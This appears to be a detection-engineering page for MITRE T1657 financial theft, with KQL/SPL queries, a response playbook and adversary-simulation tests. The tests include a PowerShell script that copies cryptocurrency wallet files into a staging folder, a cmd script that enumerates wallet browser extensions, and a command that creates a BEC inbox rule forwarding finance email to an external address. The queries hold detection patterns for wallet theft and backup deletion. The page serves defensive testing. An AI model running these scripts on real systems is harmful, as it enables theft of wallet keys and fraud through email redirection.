Financial Theft
This detection identifies behaviors associated with adversary financial theft operations including cryptocurrency wallet credential harvesting, business email compromise (BEC) infrastructure setup, ransomware extortion precursors, and unauthorized access to financial application data. The detection covers multiple attack vectors: process-level access to browser-stored cryptocurrency wallet extensions and keystore files, suspicious inbox rule creation indicative of BEC email redirection, mass file enumeration of financial document paths, and execution of known financial theft malware behaviors such as those exhibited by InvisibleFerret and BeaverTail. Detection logic correlates file access events against high-value financial paths (wallet.dat, MetaMask/Exodus/Coinbase browser extension storage, banking application credential stores) with suspicious process ancestry and user context anomalies.
What is T1657 Financial Theft?
Financial Theft (T1657) maps to the Impact tactic — the adversary is trying to manipulate, interrupt, or destroy your systems and data in MITRE ATT&CK.
This page provides production-ready detection logic for Financial Theft, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Defender for Cloud Apps, Microsoft 365 Defender. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Impact
- Technique
- T1657 Financial Theft
- Canonical reference
- https://attack.mitre.org/techniques/T1657/
let CryptoWalletPaths = dynamic([
"wallet.dat", "keystore", ".ethereum", ".bitcoin", "electrum",
"exodus", "metamask", "coinbase", "ledger", "trezor",
"\\AppData\\Roaming\\Exodus\\", "\\AppData\\Local\\Coinbase\\",
"\\AppData\\Roaming\\Electrum\\", "\\AppData\\Local\\Google\\Chrome\\User Data\\"
]);
let FinancialDocPaths = dynamic([
"bank", "invoice", "wire_transfer", "swift", "routing_number",
"account_number", "tax_return", "payroll", "credit_card"
]);
let SuspiciousTools = dynamic([
"powershell.exe", "cmd.exe", "python.exe", "python3.exe",
"node.exe", "wscript.exe", "cscript.exe"
]);
// Crypto wallet file access by suspicious processes
let CryptoWalletAccess = DeviceFileEvents
| where TimeGenerated > ago(1h)
| where ActionType in ("FileRead", "FileAccessed", "FileCopied")
| where FileName has_any (CryptoWalletPaths)
or FolderPath has_any (CryptoWalletPaths)
| where InitiatingProcessFileName in~ (SuspiciousTools)
or InitiatingProcessParentFileName in~ (SuspiciousTools)
| where not (
InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe")
and FolderPath has "AppData"
)
| extend AlertType = "CryptoWalletAccess"
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName,
FolderPath, FileName, AlertType;
// Browser extension storage enumeration (MetaMask, Coinbase Wallet, etc.)
let ExtensionEnumeration = DeviceFileEvents
| where TimeGenerated > ago(1h)
| where FolderPath has_all ("Chrome", "Extensions")
or FolderPath has_all ("Firefox", "extensions")
| where ActionType in ("FileRead", "FileAccessed")
| where FileName in~ ("data", "Local State", "Login Data", "Web Data", "000003.log")
| where InitiatingProcessFileName !in~ ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "opera.exe")
| extend AlertType = "BrowserExtensionEnum"
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName,
FolderPath, FileName, AlertType;
// Exchange/M365 inbox rule creation for BEC redirection
let BECEmailRules = CloudAppEvents
| where TimeGenerated > ago(1h)
| where ActionType in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| extend RuleDetails = tostring(RawEventData.Parameters)
| where RuleDetails has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo", "DeleteMessage")
and RuleDetails has_any ("invoice", "payment", "wire", "transfer", "bank", "finance",
"cfo", "ceo", "accounting", "payroll", "urgent")
| extend AlertType = "BECInboxRule"
| project TimeGenerated, AccountDisplayName, AccountObjectId, IPAddress,
UserAgent, RuleDetails, AlertType
| extend DeviceName = "", InitiatingProcessCommandLine = "";
// Combine all signals
union CryptoWalletAccess, ExtensionEnumeration,
(BECEmailRules | project TimeGenerated, DeviceName, AccountName = AccountDisplayName,
InitiatingProcessFileName = UserAgent, InitiatingProcessCommandLine,
InitiatingProcessParentFileName = "", FolderPath = "", FileName = RuleDetails, AlertType)
| summarize AlertCount = count(), AlertTypes = make_set(AlertType),
FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine,
bin(TimeGenerated, 5m)
| extend RiskScore = case(
array_length(AlertTypes) > 1, "Critical",
AlertTypes has "BECInboxRule", "High",
AlertTypes has "CryptoWalletAccess", "High",
"Medium"
)
| where RiskScore in ("Critical", "High", "Medium")
| sort by RiskScore asc, FirstSeen desc Detects financial theft behaviors across three vectors: (1) suspicious process access to cryptocurrency wallet files and directories (wallet.dat, Exodus/MetaMask/Coinbase app data), (2) non-browser processes reading browser extension storage that hosts crypto wallet extensions, and (3) Exchange/M365 inbox rule creation with financial keywords suggesting BEC email redirection setup. Results are correlated by account and device, scored by multi-signal presence.
Data Sources
Required Tables
False Positives
- Legitimate cryptocurrency portfolio management tools (CryptoCompare, Koinly, CoinTracking) reading wallet files for tax/portfolio reporting
- IT backup software (Veeam, Acronis, Windows Backup) scanning AppData directories including wallet application folders
- Finance team members creating legitimate email forwarding rules for invoice or payment notification workflows
- Password manager applications (1Password, Bitwarden, LastPass) accessing browser extension storage during sync operations
- Antivirus or EDR scanning engines performing file access on wallet directories during scheduled scans
Sigma rule & cross-platform mapping
The detection logic for Financial Theft (T1657) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1657
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Cryptocurrency Wallet File Enumeration via PowerShell
Expected signal: DeviceFileEvents with ActionType=FileAccessed for wallet.dat path; Sysmon EventID 11 (FileCreate) in staging directory; DeviceProcessEvents with powershell.exe CommandLine containing wallet path strings; PowerShell ScriptBlock logs EventID 4104 containing wallet enumeration commands
- Test 2BEC Inbox Forwarding Rule Creation via Exchange PowerShell
Expected signal: O365 Unified Audit Log: Operation=New-InboxRule with Parameters containing ForwardTo and financial keyword conditions; CloudAppEvents table in Sentinel populated within 15-30 minutes of rule creation
- Test 3Browser Cryptocurrency Extension Storage Enumeration
Expected signal: DeviceFileEvents with ActionType=FileAccessed for Chrome extension storage paths (nkbihfbeogaeaoehlefnkodbefgpgknn = MetaMask, hnfanknocfeofbddgcijnmhnfnkdnaad = Coinbase); InitiatingProcessFileName=cmd.exe; Sysmon EventID 1 with CommandLine containing LOCALAPPDATA Chrome Extensions wallet extension IDs
Response Playbook
Triage
- Step 1: Identify the alert type — CryptoWalletAccess, BECInboxRule, or BrowserExtensionEnum. Each has a different response path. BEC rules are the highest priority and require immediate email containment.
- Step 2: For CryptoWalletAccess alerts, check InitiatingProcessCommandLine for exfiltration indicators: encoded PowerShell, curl/wget to external IPs, python socket connections, or file copy to network shares.
- Step 3: Verify the account context — is the user a known cryptocurrency holder? Check HR records or asset inventory. A developer workstation accessing wallet files is more suspicious than a finance analyst's.
- Step 4: For BECInboxRule alerts, immediately pull the full inbox rule parameters from CloudAppEvents or O365 audit logs: what email address is it forwarding to? Is that domain external and newly registered?
- Step 5: Cross-reference the source IP in BEC cases against MFA registration events (AADSignInLogs) and impossible travel (SigninLogs with RiskLevelDuringSignIn). BEC often follows credential compromise.
- Step 6: Check DeviceNetworkEvents for the initiating process in the 30 minutes before and after the wallet access — look for C2 connections, DNS queries to DGAs, or uploads to cloud storage (dropbox.com, mega.nz, transfer.sh).
- Step 7: For browser extension storage access, identify which extension IDs were targeted. Map extension IDs from the path to known cryptocurrency wallet extensions (MetaMask = nkbihfbeogaeaoehlefnkodbefgpgknn, Coinbase = hnfanknocfeofbddgcijnmhnfnkdnaad).
Containment
- For confirmed BEC email rule: immediately remove the malicious inbox rule via Exchange Admin Center or PowerShell (Remove-InboxRule -Mailbox [email protected] -Identity RuleName). Do not wait — every inbound email may already be forwarding to the attacker.
- Revoke all active sessions for the compromised account: Azure AD portal → User → Revoke Sessions, then reset credentials and require MFA re-enrollment via a verified out-of-band channel.
- For endpoint-based crypto theft: isolate the device in Defender for Endpoint (Actions → Isolate Device) or via network ACL. Prevent exfiltration of already-harvested wallet data.
- Block egress from the affected host to any external IPs observed in DeviceNetworkEvents during the theft window at the firewall/proxy level.
- If ransomware precursor activity is detected alongside financial theft indicators, immediately initiate ransomware response: snapshot volumes, notify incident response leadership, and evaluate broader network isolation.
- For confirmed cryptocurrency wallet compromise: advise the user to immediately transfer funds to a new wallet from a clean device. Compromised wallet private keys cannot be uncompromised — assume any assets in the wallet are at risk.
Evidence Collection
- Export the full CloudAppEvents or O365 audit log entries for the inbox rule event: Get-MailboxAuditLog -Identity user@domain -StartDate (date-1d) -EndDate (date) | Export-Csv. Preserve the rule name, target address, and conditions.
- Collect DeviceFileEvents, DeviceProcessEvents, and DeviceNetworkEvents from Defender for Endpoint for the affected device for a 2-hour window around the alert (1h before, 1h after).
- Preserve browser profile directories before any remediation: copy %LOCALAPPDATA%\Google\Chrome\User Data\ and %APPDATA%\Mozilla\Firefox\Profiles\ to a forensic share for offline analysis.
- Collect a memory dump of the suspicious process if still running: procdump.exe -ma <PID> C:\Evidence\. This may contain decrypted wallet seed phrases or keys in memory.
- Export Windows Security Event Log (Security.evtx) and Sysmon operational log from the affected endpoint: wevtutil epl Security C:\Evidence\Security.evtx and wevtutil epl Microsoft-Windows-Sysmon/Operational C:\Evidence\Sysmon.evtx.
- For BEC cases, pull the email headers for any suspicious emails already forwarded: these may reveal attacker-controlled infrastructure and timing patterns.
- Document cryptocurrency wallet addresses found in any ransom notes or attacker communications — search blockchain explorers for transaction history to assess attacker wallet activity.
Escalation Criteria
- ! Escalate immediately to CISO and legal if actual financial transaction has been initiated (wire transfer sent, crypto transferred) — this is an active financial crime requiring law enforcement notification (FBI IC3, FinCEN SAR).
- ! Escalate if BEC email rule has been active for >24 hours — significant email volume may have been intercepted; estimate business impact and notify finance/accounting teams.
- ! Escalate if multiple user accounts show simultaneous wallet access or BEC indicators — suggests coordinated campaign or insider threat rather than isolated compromise.
- ! Escalate to ransomware IR team if financial theft indicators co-occur with shadow copy deletion (vssadmin delete shadows), mass file renaming, or ransom note creation (README.txt, DECRYPT_FILES.html patterns).
- ! Escalate if threat intelligence matches known ransomware groups (INC Ransom, Embargo, Cinnamon Tempest) based on TTPs, ransom note format, or C2 infrastructure.
Investigation Guide
Forensic Artifacts
- >
Wallet.dat file — Bitcoin Core wallet containing private keys; location: %APPDATA%\Bitcoin\wallet.dat - >
Ethereum keystore files — JSON files in %APPDATA%\Ethereum\keystore\ containing encrypted private keys - >
Browser extension storage — IndexedDB files in Chrome's Extensions folder for MetaMask/Coinbase state - >
Windows Security EventID 4663 — Object Access audit events showing file reads on wallet paths (requires SACL on wallet directories) - >
Sysmon EventID 11 (FileCreate) — Records file creation/modification in wallet directories by non-wallet processes - >
Prefetch files — C:\Windows\Prefetch\PYTHON.EXE-*.pf or POWERSHELL.EXE-*.pf may show wallet access commands - >
Exchange audit logs — New-InboxRule and Set-InboxRule entries in O365 Unified Audit Log with forwarding target addresses - >
Network proxy logs — HTTP POST requests to pastebin, transfer.sh, or attacker-controlled C2 containing exfiltrated wallet data - >
PowerShell ScriptBlock logs — EventID 4104 in Microsoft-Windows-PowerShell/Operational may capture wallet harvesting scripts - >
Ransom notes — README.txt, DECRYPT_INSTRUCTIONS.html, or desktop background changes with payment instructions
Tuning Guidance
Start by whitelisting known legitimate cryptocurrency wallet executables (Exodus.exe, Electrum.exe, bitcoin-qt.exe, Ledger Live.exe) from the CryptoWalletAccess detection — these will generate high volume false positives. For BECInboxRule detection, create an allowlist of finance team members who legitimately manage email routing rules; filter by user principal name against an HR or Entra ID group membership lookup. The browser extension enumeration signal has the highest false positive rate — consider raising the threshold from a single access event to 3+ unique extension directory accesses within 5 minutes. On endpoints where IT uses automated backup tools (Veeam, Acronis), add process name exclusions for their agents. Monitor the O365 inbox rule detection separately with a lower confidence threshold initially and tune based on your organization's mail flow patterns before escalating to high-severity alerts.
Hunting Queries
Hunts for broad cryptocurrency wallet enumeration — processes accessing multiple wallet application directories or wallet file types across different crypto platforms, suggesting automated harvesting rather than user interaction.
// Hunt for processes reading multiple cryptocurrency-related file types in a short window
// Different from main detection: focuses on volume/breadth of financial file access
DeviceFileEvents
| where TimeGenerated > ago(24h)
| where ActionType in ("FileRead", "FileAccessed", "FileCopied")
| where FolderPath has_any (
"AppData", "Roaming", "Local"
)
| where FileName has_any (
".wallet", "wallet.dat", "keystore", "seed", "mnemonic",
"private_key", ".key", "recovery_phrase"
) or FolderPath has_any (
"Exodus", "Electrum", "Ethereum", "Bitcoin", "Monero",
"MetaMask", "Coinbase", "Ledger", "Trezor"
)
| summarize FileAccessCount = count(), UniqueFiles = dcount(FileName),
UniqueWalletApps = dcount(FolderPath), FirstAccess = min(TimeGenerated),
LastAccess = max(TimeGenerated), ProcessList = make_set(InitiatingProcessFileName)
by DeviceName, AccountName, InitiatingProcessFileName
| where UniqueWalletApps >= 2 or FileAccessCount >= 5
| where not (InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "firefox.exe",
"exodus.exe", "electrum.exe", "bitcoin-qt.exe", "mist.exe"))
| sort by UniqueWalletApps desc, FileAccessCount desc index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*.wallet" OR TargetFilename="*wallet.dat*" OR TargetFilename="*keystore*"
OR TargetFilename="*\\Exodus\\*" OR TargetFilename="*\\Electrum\\*"
OR TargetFilename="*\\Ethereum\\*" OR TargetFilename="*\\Bitcoin\\*")
NOT (Image="*\\Exodus.exe" OR Image="*\\Electrum.exe" OR Image="*\\bitcoin-qt.exe"
OR Image="*\\chrome.exe" OR Image="*\\msedge.exe")
| stats count as access_count, dc(TargetFilename) as unique_files,
values(TargetFilename) as targets, values(Image) as processes
by host, User
| where access_count >= 3 OR unique_files >= 2
| sort - access_count Hunts for the BEC compromise-to-rule-creation sequence: suspicious authenticated logins (risky IP, foreign location) immediately followed by inbox rule or transport rule modifications within a 2-hour window, indicating compromised account being quickly weaponized.
// Hunt for BEC precursor: suspicious logins followed by email configuration changes
// Different pattern: focuses on authentication anomalies preceding financial rule creation
let SuspiciousLogins = SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == 0
| where RiskLevelDuringSignIn in ("medium", "high")
or isnotempty(LocationDetails)
| extend LoginCity = tostring(LocationDetails.city),
LoginCountry = tostring(LocationDetails.countryOrRegion)
| project LoginTime = TimeGenerated, UserPrincipalName, IPAddress,
LoginCity, LoginCountry, UserAgent, RiskLevelDuringSignIn;
let EmailRuleChanges = CloudAppEvents
| where TimeGenerated > ago(7d)
| where ActionType in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox", "Set-TransportRule")
| project RuleTime = TimeGenerated, AccountDisplayName, RuleIP = IPAddress, ActionType,
RawEventData;
SuspiciousLogins
| join kind=inner EmailRuleChanges
on $left.UserPrincipalName == $right.AccountDisplayName
| where RuleTime between (LoginTime .. (LoginTime + 2h))
| extend MinutesBetween = datetime_diff('minute', RuleTime, LoginTime)
| project LoginTime, RuleTime, MinutesBetween, UserPrincipalName,
LoginIP = IPAddress, LoginCity, LoginCountry, RiskLevelDuringSignIn,
RuleIP, ActionType
| sort by RiskLevelDuringSignIn desc, MinutesBetween asc index=o365 sourcetype="o365:management:activity"
(Operation="New-InboxRule" OR Operation="Set-InboxRule" OR Operation="Set-TransportRule")
| eval rule_time=_time
| join type=inner UserId
[search index=o365 sourcetype="o365:management:activity" Operation="UserLoggedIn"
| where ResultStatus="Succeeded"
| eval login_time=_time
| fields login_time, UserId, ClientIP, UserAgent]
| eval time_diff_min=round((rule_time - login_time) / 60, 0)
| where time_diff_min >= 0 AND time_diff_min <= 120
| stats min(time_diff_min) as mins_after_login, values(Operation) as operations,
values(ClientIP) as ips, values(Parameters) as rule_params
by UserId, login_time
| where mins_after_login <= 30
| sort - mins_after_login Hunts for ransomware extortion indicators: processes creating multiple files matching ransom note naming conventions (README.txt, DECRYPT_FILES.html) across multiple directories, correlated with shadow copy deletion commands that indicate pre-encryption cleanup.
// Hunt for ransom note creation and financial extortion infrastructure
// Detects file writes matching common ransom note naming patterns
DeviceFileEvents
| where TimeGenerated > ago(24h)
| where ActionType in ("FileCreated", "FileModified")
| where FileName matches regex @"(?i)(README|DECRYPT|RECOVERY|RESTORE|HOW_TO|HELP_DECRYPT|YOUR_FILES|RANSOM|PAYMENT|UNLOCK).*\.(txt|html|hta|htm|url|lnk)$"
| summarize RansomNoteCount = count(), UniqueDirectories = dcount(FolderPath),
NoteNames = make_set(FileName), EarliestNote = min(TimeGenerated)
by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where RansomNoteCount >= 2 or UniqueDirectories >= 3
| join kind=leftouter (
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where ProcessCommandLine has_any ("vssadmin delete", "wbadmin delete", "bcdedit /set",
"wmic shadowcopy delete", "Get-WMIObject Win32_Shadowcopy")
| summarize BackupDeletion = count() by DeviceName
) on DeviceName
| extend HasBackupDeletion = isnotempty(BackupDeletion)
| sort by HasBackupDeletion desc, RansomNoteCount desc index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| rex field=TargetFilename "(?i)(?P<note_name>README|DECRYPT|RECOVERY|RESTORE|HOW_TO|HELP_DECRYPT|YOUR_FILES|RANSOM|PAYMENT|UNLOCK)[^\\]*\.(txt|html|hta|htm)$"
| where isnotnull(note_name)
| stats count as note_count, dc(TargetFilename) as unique_paths,
values(TargetFilename) as note_paths, values(Image) as creating_processes
by host, User
| where note_count >= 2
| appendcols
[search index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(CommandLine="*vssadmin*delete*" OR CommandLine="*wbadmin*delete*" OR CommandLine="*bcdedit*/set*"
OR CommandLine="*shadowcopy*delete*")
| stats count by host
| rename count as backup_deletion_count]
| fillnull value=0 backup_deletion_count
| sort - backup_deletion_count, - note_count Atomic Red Team Tests
Simulates InvisibleFerret/BeaverTail behavior of enumerating and copying cryptocurrency wallet files from common installation paths using PowerShell, validating that DeviceFileEvents and Sysmon EventID 11 capture wallet file access by scripting engines.
Command
powershell.exe -NoProfile -Command "
$walletPaths = @(
"$env:APPDATA\\Bitcoin\\wallet.dat",
"$env:APPDATA\\Electrum\\wallets\\",
"$env:APPDATA\\Exodus\\exodus.wallet\\",
"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\"
);
$stagingDir = "$env:TEMP\\~harvest_$(Get-Random)";
New-Item -ItemType Directory -Path $stagingDir -Force | Out-Null;
foreach ($path in $walletPaths) {
if (Test-Path $path) {
Write-Host "[+] Found: $path";
Copy-Item -Path $path -Destination $stagingDir -Recurse -ErrorAction SilentlyContinue;
} else {
Write-Host "[-] Not found: $path";
# Create dummy file to simulate access attempt
$dummy = Join-Path $stagingDir (Split-Path $path -Leaf);
New-Item -ItemType File -Path $dummy -Force | Out-Null;
}
};
Get-ChildItem $stagingDir -Recurse | Select-Object FullName, Length;
Write-Host "[*] Staging directory: $stagingDir";
" Cleanup
powershell.exe -Command "Remove-Item -Path "$env:TEMP\\~harvest_*" -Recurse -Force -ErrorAction SilentlyContinue" Expected Telemetry
DeviceFileEvents with ActionType=FileAccessed for wallet.dat path; Sysmon EventID 11 (FileCreate) in staging directory; DeviceProcessEvents with powershell.exe CommandLine containing wallet path strings; PowerShell ScriptBlock logs EventID 4104 containing wallet enumeration commands
Expected Detection
CryptoWalletAccess alert fires with InitiatingProcessFileName=powershell.exe accessing wallet.dat or Exodus/Electrum directories; RiskScore=High
Simulates a business email compromise actor creating a malicious inbox forwarding rule that redirects finance-related emails to an external attacker-controlled address, validating detection of O365 audit log events for New-InboxRule with ForwardTo parameters.
Command
# Prerequisites: Exchange Online PowerShell module installed, valid M365 credentials
# This test requires Exchange Online access — run in lab/dev tenant only
powershell.exe -Command "
Import-Module ExchangeOnlineManagement;
Connect-ExchangeOnline -UserPrincipalName [email protected];
New-InboxRule -Name 'T1657_AtomicTest_BEC_Rule' `
-SubjectContainsWords 'invoice','payment','wire transfer','bank account','urgent' `
-ForwardTo '[email protected]' `
-StopProcessingRules $false;
Write-Host '[*] Inbox rule created. Check O365 audit log for New-InboxRule event.';
Get-InboxRule -Identity 'T1657_AtomicTest_BEC_Rule' | Select-Object Name, ForwardTo, SubjectContainsWords;
" Cleanup
powershell.exe -Command "Import-Module ExchangeOnlineManagement; Connect-ExchangeOnline -UserPrincipalName [email protected]; Remove-InboxRule -Identity 'T1657_AtomicTest_BEC_Rule' -Confirm:$false; Disconnect-ExchangeOnline -Confirm:$false" Expected Telemetry
O365 Unified Audit Log: Operation=New-InboxRule with Parameters containing ForwardTo and financial keyword conditions; CloudAppEvents table in Sentinel populated within 15-30 minutes of rule creation
Expected Detection
BECInboxRule alert fires with RuleDetails containing ForwardTo and financial keywords; RiskScore=High; alert should appear within 30 minutes given O365 audit log ingestion delay
Simulates Contagious Interview/BeaverTail technique of enumerating Chrome browser extension storage directories to locate installed cryptocurrency wallet extensions (MetaMask, Coinbase Wallet) by accessing their IndexedDB and Local Storage data, validating that non-browser process access to extension directories is detected.
Command
cmd.exe /c "@echo off && setlocal EnableDelayedExpansion
set CHROME_EXT_PATH=%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings
set KNOWN_WALLETS=nkbihfbeogaeaoehlefnkodbefgpgknn hnfanknocfeofbddgcijnmhnfnkdnaad bfnaelmomeimhlpmgjnjophhpkkoljpa
echo [*] Scanning Chrome extensions for cryptocurrency wallets...
for %%W in (%KNOWN_WALLETS%) do (
set EXT_PATH=%CHROME_EXT_PATH%\%%W
if exist "!EXT_PATH!" (
echo [+] Wallet extension found: %%W at !EXT_PATH!
dir /s /b "!EXT_PATH!" 2>nul
) else (
echo [-] Extension %%W not installed
)
)
echo [*] Also checking IndexedDB:
dir /b "%LOCALAPPDATA%\Google\Chrome\User Data\Default\IndexedDB\" 2>nul | findstr /i "metamask coinbase wallet"
echo [*] Enumeration complete." Cleanup
rem No files created; enumeration only. No cleanup required. Expected Telemetry
DeviceFileEvents with ActionType=FileAccessed for Chrome extension storage paths (nkbihfbeogaeaoehlefnkodbefgpgknn = MetaMask, hnfanknocfeofbddgcijnmhnfnkdnaad = Coinbase); InitiatingProcessFileName=cmd.exe; Sysmon EventID 1 with CommandLine containing LOCALAPPDATA Chrome Extensions wallet extension IDs
Expected Detection
BrowserExtensionEnum alert fires with InitiatingProcessFileName=cmd.exe accessing Chrome extension storage; if MetaMask or Coinbase extension directories exist and are accessed, CryptoWalletAccess alert also fires; combined RiskScore=Critical
Related Detections
Tactic Hub
Detection Variants (2)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.